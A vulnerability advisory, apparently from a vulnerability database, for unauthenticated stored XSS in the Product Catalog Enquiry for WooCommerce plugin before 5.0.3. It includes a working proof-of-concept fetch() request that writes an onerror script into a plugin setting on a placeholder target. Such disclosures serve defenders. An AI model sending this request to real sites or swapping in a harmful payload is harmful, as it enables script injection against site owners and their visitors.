Product Catalog Enquiry for WooCommerce < 5.0.3 - Unauthenticated Stored XSS via Arbitrary Setting Update

2023-11-2100:00:00

Krzysztof Zając (CERT PL)

product catalog enquiry

woocommerce

unauthenticated stored xss

arbitrary setting update

catalog mode

malicious script

AI Score

Confidence

High

EPSS

0.001

Percentile

30.3%

JSON

Description The plugin does not properly authorize settings updates or escape settings values, leading to stored XSS by unauthenticated users.

1) Make sure the plugin is configured with the "Catalog Mode" activated.
2) Launch the following from your browser's console:

```
fetch("http://vulnerable-site.tld/wp-json/mvx_catalog/v1/save_enquiry", {"headers": {"content-type": "application/json",},  "body": " {\"model\":{\"from_loading\":true,\"statedrop\":[],\"errordisplay\":\"Settings Saved\",\"complete_option_value\":[],\"button_type\":{\"value\":\"4\",\"label\":\"No Link Just #\",\"index\":3},\"is_button\":[\"is_button\"],\"custom_hover_background_color\":\"#0}</style><img src=x onerror=alert(7)>\",\"woocommerce_catalog_enquiry_button2_settings\":\"\",\"custom_css_product_page\":\"BBBBBBB00\"},\"modulename\":\"button-appearance\"}","method": "POST","mode": "cors","credentials": "include"});
```

3) Visit a product page